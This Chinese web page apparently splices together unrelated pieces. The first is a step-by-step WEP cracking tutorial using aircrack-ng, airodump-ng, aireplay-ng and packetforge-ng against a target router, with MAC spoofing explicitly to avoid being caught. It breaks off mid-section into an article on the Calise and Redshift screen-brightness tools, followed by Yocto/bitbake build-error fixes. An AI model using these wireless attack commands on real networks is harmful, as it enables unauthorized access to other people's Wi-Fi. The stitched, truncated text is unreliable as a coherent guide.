Aircrack-ng工具包有很多工具,我用到的工具主要有以下几个:
airmon-ng 处理网卡工作模式
airodump-ng 抓包
aircrack-ng 破解
aireplay-ng 发包,干扰
另外还要用到以下 linux 命令:
ifconfig 查看修改网卡状态和参数
macchanger 伪造 MAC
iwconfig 主要针对无线网卡的工具 (同 ifconfig)
iwlist 获取无线网络的更详细信息
另外还有其他的 linux 基本命令,我就不提示了。
具体破解步骤:
1. 修改无线网卡状态:先 dow
2. 伪造无线网卡的 MAC 地址:安全起见,减少被抓到的可能
3. 修改网卡工作模式:进入Monitor状态,会产生一个虚拟的网卡
4. 修改无线网卡状态: up
5. 查看网络状态,记录下 AP 的 MAC 和本机的 MAC ,确定攻击目标
6. 监听抓包:生成 .cap 或 .ivs
7. 干扰无线网络:截取无线数据包,发送垃圾数据包,用来获得更多的有效数据包
8. 破解 .cap 或 .ivs ,获得 WEP 密码,完成破解
Crack Mode一共有5种请酌情使用还有网卡不一定是ath1也有可能是wifi0,ath0等等
ifconfig -a
ifconfig -a ath0 up
airmon-ng start wifi0 6
airodump-ng --ivs -w 目标路由器IVS文件 -c 6 ath1
airodump-ng ath1
aireplay-ng -1 0 -e 目标路由器SSID -a 目标MAC -h 本机MAC ath1
----------- -2 Crack Mode-----------
aireplay-ng -2 -p 0841 -c ffffffffffff -b 目标MAC -h 本机MAC ath1
----------- -3 Crack Mode-----------
aireplay-ng -3 -b 目标MAC -h 本机MAC ath1
----------- -4 Crack Mode-----------
aireplay-ng -4 -b 目标MAC -h 本机MAC ath1
packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
----------- -5 Crack Mode-----------
aireplay-ng -5 -b 目标MAC -h 本机MAC ath1
packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
-----------Crack Key-----------
aircrack-ng -n 64 -b 目标MAC 目标路由器IVS文件-01.ivs
——————————————————————————————
下面详细介绍一下各个命令的基本用法(参照命令的英文说明)
1. ifconfig
用来配置网卡,我们这里主要用来 禁用和启用 网卡:
ifconfig ath0 down
ifconfig ath0 up
禁用一下网卡的目的是为了下一步修改 MAC 。
2.macchanger
用来改变网卡的 MAC 地址,具体用法如下:
usage: macchanger [options] device
-h 显示帮助
-V 显示版本
-s 显示当前MAC
-e 不改变mac,使用硬件厂商写入的MAC
-a 自动生成一个同类型的MAC,同厂商的
-A 自动生成一个不同类型的MAC,不同厂商的
-r 生成任意MAC
-l 显示已知厂商的网卡MAC地址分配,这个很有用,可以根据MAC查出来是哪个厂商生产的产品
-m 设置一个自定义的MAC 如: macchanger --mac=00:34:00:00:00:00 ath0 。
3.airmon-ng
启动无线网卡进入 Monitor 模式,
useage: airmon-ng <start|stop|check><interface>[channel]
<start|stop|check>启动,停止,检测
<interface>指定无线网卡
[channel] 监听频道,现代大多数无线路由默认是 6,随便扫描一下都是这个频道,网管们应该换换了
4.iwconfig
专用的无线网卡配置工具,用来配置特殊的网络信息,不带参数时显示可用网络。
useage:iwconfig interface [options]
[essid{NN|ON|OFF}] 指定essid号 开启关闭
[nwid{NN|on|off}] 指定网络id号 开启关闭
[mode {managed|ad-hoc|....}] 指定无线网络工作模式/类型
[freq N.NNNN[K|M|G]] 指定工作频率
[channel N] 指定频道
[ap {N|off|auto}] 指定AP号 关闭/自动
[sens N] sens 号
[nick N] nick 号
[rate {N|auto|fixed}] 速率控制
[rts {N|auto|fixed|off}] rts控制,如果不知道什么是RTS,那就回去好好去学网络,不用往下看了
[frag {N|auto|fixed|off}] 碎片控制
[enc {NNNN-NNNN|off}] 范围
[power {period N|timeout N}] 电源 频率/超时
[retry {limit N|lifetime N}] 重试 限次/超时
[txpower N{mw|dBm}] 功率 毫瓦/分贝
[commit] 处理
5.iwlist
主要用来显示无线网卡的一些附加信息,同上
useage: iwlist [interface] options
scanning 扫描
frequency 频率
channel 频道
bitrate 速率
rate 速率
encryption 加密
key 密钥
power 电源
txpower 功率
ap ap
accespoints ap
peers 直连
event 事件
6.airodump-ng
抓包工具,我最喜欢用的,详细用法如下:
usage: airodump-ng <options><interface>[,<interface>,...]
Options:
--ivs :仅将抓取信息保存为 .ivs
--gpsd :使用 GPSd
--write <prefix>:保存为指定日文件名,我一般用这个,尤其是多个网络时,指定了也好区分
-w :同 --write
--beacons :保存所有的 beacons ,默认情况况下是丢弃那些无用的数据包的
--update <secs>:显示更新延迟,没有用过
--showack :显示ack/cts/rts状态,还是那句,不知道rts就不用看了
-h :隐藏已知的,配合上面的选项使用
-f <msecs>:跳频时间
--berlin <secs>:无数据包接收时延迟显示的时间,这句不太好翻译,意思是当那个信号发出设备没有发出数据包多少时间之后,就停止对它的监视.默认120秒.建议学好英文去读原文,翻译的都会有出入,这是我的理解.(mhy_mhy注)
-r <file>:从指定的文件读取数据包.我也想有人给我抓好包放哪里,呵呵
Filter options:
--encrypt <suite>: 使用密码序列过滤 AP
--netmask <netmask>: 使用掩码过滤 AP
--bssid <bssid>: 使用 bssid 过滤 AP
-a : 过滤无关的客户端
默认情况下使用2.4Ghz,你也可以指定其他的频率,通过以下命令 *** 作:
--channel <channels>:指定频道
--band <abg>:制定带宽
-C <frequencies>:指定频率MHz
--cswitch <method>: 设置频道交换方式
0 : FIFO (default) 先进先出(默认)
1 : Round Robin 循环
2 : Hop on last 最后一跳
-s : 同上
--help : 显示使用方法,翻译到这里,感觉还是英文的贴切一点,建议读原文
7.aireplay-ng
Calise处于时断时续的开发中,Calise的意思是“相机光感应器(Camera Light Sensor)”。换句话说,它是一个根据摄像头接收到的光强度计算屏幕最佳的背光级别的开源程序。更进一步地说,Calise可以基于你的地理坐标来考虑你所在地区的天气。我喜欢它是因为它兼容各个桌面,甚至非X系列。
它同时附带了命令行界面和图形界面,支持多用户配置,而且甚至可以导出数据为CSV。安装完后,你必须在见证奇迹前对它进行快速校正。
不怎么令人喜欢的是,如果你和我一样有被偷窥妄想症,在你的摄像头前面贴了一条胶带,那就会比较不幸了,这会大大影响Calise的精确度。除此之外,Calise还是个很棒的应用,值得我们关注和支持。正如我先前提到的,它在过去几年中经历了一段修修补补的艰难阶段,所以我真的希望这个项目继续开展下去。
Redshift
如果你想过要减少由屏幕导致的眼睛的压力,那么你很可能听过f.lux,它是一个免费的专有软件,用于根据一天中的时间来修改显示器的亮度和配色。然而,如果真的偏好于开源软件,那么一个可选方案就是:Redshift。灵感来自f.lux,Redshift也可以改变配色和亮度来加强你夜间坐在屏幕前的体验。启动时,你可以使用经度和纬度来配置地理坐标,然后就可以让它在托盘中运行了。Redshift将根据太阳的位置平滑地调整你的配色或者屏幕。在夜里,你可以看到屏幕的色温调向偏暖色,这会让你的眼睛少遭些罪。
和Calise一样,它提供了一个命令行界面,同时也提供了一个图形客户端。要快速启动Redshift,只需使用命令:
$ redshift -l [LAT]:[LON]
替换[LAT]:[LON]为你的维度和经度。
然而,它也可以通过gpsd模块来输入你的坐标。对于Arch Linux用户,我推荐你读一读这个维基页面。
尾声
总而言之,Linux用户没有理由不去保护自己的眼睛,Calise和Redshift两个都很棒。我真希望它们的开发能够继续下去,让它们获得应有的支持。当然,还有比这两个更多的程序可以满足保护眼睛和保持健康的目的,但是我感觉Calise和Redshift会是一个不错的开端。
编译问题1(audiomanager_7.0.bb的do_configure报错):
错误:CMake Error at Plugins/PluginCommandInterfaceCAPI/cmake/CommonAPI.cmake:352 (message):
| Failed to generate files from FIDL:
手动执行一下:
$ commonapi-generator-linux-x86 -ll verbose -sk Default -d . /data/linux/hz_rs28_bm/sources/build/tmp/work/armv7a-vfp-neon-poky-linux-gnueabi/audiomanager/7.0-r1/audiomanager-7.0/Plugins/PluginCommandInterfaceCAPI/fidl/CommandInterface.fidl
-bash: /data/linux/hz_rs28_bm/sources/src/build/tools/commonapi_tool/commonapi-generator/commonapi-generator-linux-x86: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
解决(需要安装32位的glibc库和32位java jre环境):
$ sudo yum install glibc.i686
$ sudo yum install java-1.8.0-openjdk.i686
$ sudo ln -s /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.i386/jre/bin/java /bin/java
$ java -version (保证是32位的java)
编译问题2(perl_5.20.0.bb的do_package报错):
错误:ERROR: objcopy failed with exit code 256 (cmd was ‘arm-poky-linux-gnueabi-objcopy’ –only-keep-debug
… generate_uudmap: File format not recognized
解决(tar在1.29版本之后需要exclude在路径的前面):
sources/meta/poky/bitbake/lib/bb/fetch2/bzr.py
tar_flags = “–exclude ‘.bzr’ –exclude ‘.bzrtags'”
修改成:
tar_flags = “–exclude=’.bzr’ –exclude=’.bzrtags'”
sources/meta/poky/bitbake/lib/bb/fetch2/cvs.py
tar_flags = “–exclude ‘CVS'”
修改成:
tar_flags = “–exclude=’CVS'”
sources/meta/poky/bitbake/lib/bb/fetch2/repo.py
tar_flags = “–exclude ‘.repo’ –exclude ‘.git'”
修改成:
tar_flags = “–exclude=’.repo’ –exclude=’.git'”
sources/meta/poky/bitbake/lib/bb/fetch2/svn.py
tar_flags = “–exclude ‘.svn'”
修改成:
tar_flags = “–exclude=’.svn'”
sources/meta/poky/meta/recipes-devtools/quilt/quilt-0.63.inc
tar -cf – bin/ –exclude \*.in | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -cf – compat/ –exclude \*.in | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -cf – quilt/ –exclude \*.in | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -cf – test/ –exclude mail.test –exclude delete.test | ( cd ${D}${PTEST_PATH} &&tar -xf – )
修改成:
tar -c –exclude=\*.in bin/ | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -c –exclude=\*.in compat/ | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -c –exclude=\*.in quilt/ | ( cd ${D}${PTEST_PATH} &&tar -xf – )
tar -c –exclude=mail.test –exclude=delete.test test/ | ( cd ${D}${PTEST_PATH} &&tar -xf – &&chmod 777 test)
sources/meta/poky/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch
+ cd $(BUILDDIR)tar -cf – $(TESTDIR) –exclude *.o | ( cd $(DESTDIR) &&tar -xf – )
修改成:
+ cd $(BUILDDIR)tar -c –exclude=*.o $(TESTDIR) | ( cd $(DESTDIR) &&tar -xf – )
sources/meta/poky/meta/recipes-support/attr/acl.inc
tar -cf – test/ –exclude nfs | ( cd ${D}${PTEST_PATH} &&tar -xf – )
修改成:
tar -c –exclude=nfs test/ | ( cd ${D}${PTEST_PATH} &&tar -xf – )
sources/meta/poky/meta/recipes-support/attr/attr.inc
tar -cf – test/ –exclude ext | ( cd ${D}${PTEST_PATH} &&tar -xf – )
修改成:
tar -c –exclude=ext test/ | ( cd ${D}${PTEST_PATH} &&tar -xf – )
sources/meta/poky/meta/recipes-devtools/perl/perl-ptest.inc
tar -cf – * –exclude \*.o –exclude libperl.so –exclude Makefile –exclude makefile –exclude hostperl \
–exclude miniperl –exclude generate_uudmap –exclude patches | ( cd ${D}${PTEST_PATH} &&tar -xf – )
修改成:
tar -c –exclude=\*.o –exclude=libperl.so –exclude=Makefile –exclude=makefile –exclude=hostperl \
–exclude=miniperl –exclude=generate_uudmap –exclude=patches * | ( cd ${D}${PTEST_PATH} &&tar -x )
编译问题3(libunwind_1.1.bb的do_compile报错):
错误:make[1]: latex2man: Command not found
解决:
$ sudo yum install texlive-tetex
$ sudo rpm -ivh ~/latex2man-1.18-2.noarch.rpm
编译问题3(qt5-app_1.0.bb的do_compile报错):
错误(有一批类似的错误):ld: cannot find -lgtest
解决:
$ vi atc_linux/application/btate/btate.pro
equals(MY_BUILD_SYSTEM, atc) {
LIBS += -L $(DA_LIBDIR)/lib -lgtest -lpthread -lbluetoothclient -lglobalbus -lappobj -lapputils
} else {
LIBS += -L$(DA_TOP)/application/lib -L$(DA_TOP)/../../sources/build/tmp/work/armv7a-vfp-neon-poky-linux-gnueabi/atc-binarys/1.0-r0/image/usr/lib -lgtest -lpthread -lbluetoothclient -l
globalbus -lappobj -lapputils
}
$ vi atc_linux/application/gps/gps_bin.pro
equals(MY_BUILD_SYSTEM, atc) {
LIBS += -L $(DA_LIBDIR)/lib -lapputils -lglobalbus -lappobj -lgps
} else {
LIBS += -L$(DA_TOP)/application/lib -L$(DA_TOP)/../../sources/build/tmp/work/armv7a-vfp-neon-poky-linux-gnueabi/gpsd/3.10-r0/gpsd-3.10/ -lapputils -lglobalbus -lappobj -lgps
}
$ vi atc_linux/application/dvr/dvr_bin.pro
equals(MY_BUILD_SYSTEM, atc) {
LIBS += -L${DA_TOP}/lib/lib/ -ldvr -ludev -lsurface_atc -lglobalbus -lappobj -lapputils -lstorage_atc -lgps
} else {
LIBS += -L${DA_TOP}/application/lib -L$(DA_TOP)/../../sources/build/tmp/work/armv7a-vfp-neon-poky-linux-gnueabi/gpsd/3.10-r0/gpsd-3.10/ -ldvr -ludev -lsurface_atc -lglobalbus –
lappobj -lapputils -lstorage_atc -lgps
}
$ vi atc_linux/application/dvr/dvr_bin.pro
INCLUDEPATH += ${DA_TOP}/kernel/kernel-3.18/drivers/ \
../common/ \
../utils/ \
../appobj/include/ \
../globalbus/include/ \
../appcommon/include/ \
../storage_atc/ \
../dvr/gps/ \
../gps/include/ \
../gps/includeex/ \
编译问题4(makall报错):
报错:./makall: line 169: mkisofs: command not found
解决:$ sudo yum install mkisofs
编译问题5(修改ac83xx_systemd_defconfig再编译时报错):
报错:Applying patch remove-selinux-android.patch
patching file system/extras/ext4_utils/make_ext4fs.c
Hunk #1 FAILED at 62.
1 out of 1 hunk FAILED — rejects in file system/extras/ext4_utils/make_ext4fs.c
解决:
$ vi sources/meta/meta-atc/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb
在里面做个假的do_patch(),bitbake会优先使用本bb文件的do_patch()函数。
do_patch(){
}
编译问题6(修改ac83xx_systemd_defconfig再编译时报错):
报错:sources/build/tmp/work/armv7a-vfp-neon-poky-linux-gnueabi/qtbase/5.5.0+gitAUTOINC+c619d2daac-r0/git/src/corelib/tools/qregexp.cpp:3947:1: internal compiler error: in add_stores, at var-tracking.c:6000
解决:
$ cd sources/meta/poky/meta/recipes-devtools/gcc/gcc-4.9/
$ wget http://openlinux.windriver.com/overc/sources/core2_64/gcc-4.9.2-r0.1/0062-gcc-var-tracking.c-backport-from-gcc-trunk-r212178.patch
$ vi sources/meta/poky/meta/recipes-devtools/gcc/gcc-4.9.inc
file://0058-gcc-r212171.patch \
file://0059-gcc-PR-rtl-optimization-63348.patch \
file://target-gcc-includedir.patch \
file://0062-gcc-var-tracking.c-backport-from-gcc-trunk-r212178.patch \
其实就是这个文件:
$ cat 0062-gcc-var-tracking.c-backport-from-gcc-trunk-r212178.patch
From b30ffb8097749fdb55704aa7d8307ca1a58255d6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Stefan=20M=C3=BCller-Klieser?= <s.mueller-klieser@phytec.de>
Date: Tue, 7 Apr 2015 16:15:11 +0200
Subject: [PATCH] gcc/var-tracking.c: backport from gcc trunk r212178
MIME-Version: 1.0
Content-Type: text/plaincharset=UTF-8
Content-Transfer-Encoding: 8bit
resolves a bug seen on cortexa8 building qt5 libraries.
2014-06-30 Joseph Myers <joseph@codesourcery.com>
* var-tracking.c (add_stores): Return instead of asserting if old
and new values for conditional store are the same.
git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/trunk@212178 138bc75d-0d04-0410-961f-82ee72b054a4
Signed-off-by: Stefan Müller-Klieser <s.mueller-klieser@phytec.de>
---
gcc/var-tracking.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/gcc/var-tracking.c b/gcc/var-tracking.c
index 65d8285..7c38910 100644
--- a/gcc/var-tracking.c
+++ b/gcc/var-tracking.c
@@ -5997,7 +5997,8 @@ add_stores (rtx loc, const_rtx expr, void *cuip)
{
cselib_val *oval = cselib_lookup (oloc, GET_MODE (oloc), 0, VOIDmode)
- gcc_assert (oval != v)
+ if (oval == v)
+ return
gcc_assert (REG_P (oloc) || MEM_P (oloc))
if (oval &&!cselib_preserved_value_p (oval))
--
1.9.1
编译问题7(修改ac83xx_systemd_defconfig再编译时报错):
报错:libevdev/1.2.2-r0/libevdev-1.2.2/test/test-main.c:24:19: fatal error: check.h: No such file or directory
解决:
$ vi meta/poky/meta/recipes-support/libevdev/libevdev_1.2.2.bb
LIC_FILES_CHKSUM = “file://COPYINGmd5=75aae0d38feea6fda97ca381cb9132eb \
file://libevdev/libevdev.hendline=21md5=7ff4f0b5113252c2f1a828e0bbad98d1″
DEPENDS += “libcheck”
SRC_URI = “ http://www.freedesktop.org/software/libevdev/ ${BP}.tar.xz”
编译问题8(修改ac83xx_systemd_defconfig再编译时报错):
报错:python报错: ‘do_rootfs’, lineno: 17, function
Exception: CalledProcessError: Command ‘[‘du’, ‘-ks’, …
解决: 没有实际问题,重新编译一次即可,可能是机器太忙导致超时,或者某个命令执行不成功。
编译问题9(preuboot编译工具问题):
报错:make: armv7a-mediatek451_001_vfp-linux-gnueabi-gcc: Command not found
解决:
$ vi atc_linux/bootloader/preuboot/Makefile
#CROSS_COMPILE :=armv7a-mediatek451_001_vfp-linux-gnueabi-
CROSS_COMPILE :=arm-poky-linux-gnueabi-
$ vi ../../atc_linux/bootloader/preuboot/driver/mmc/include/linux/list.h
#ifndef NULL
#define NULL 0
#endif
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)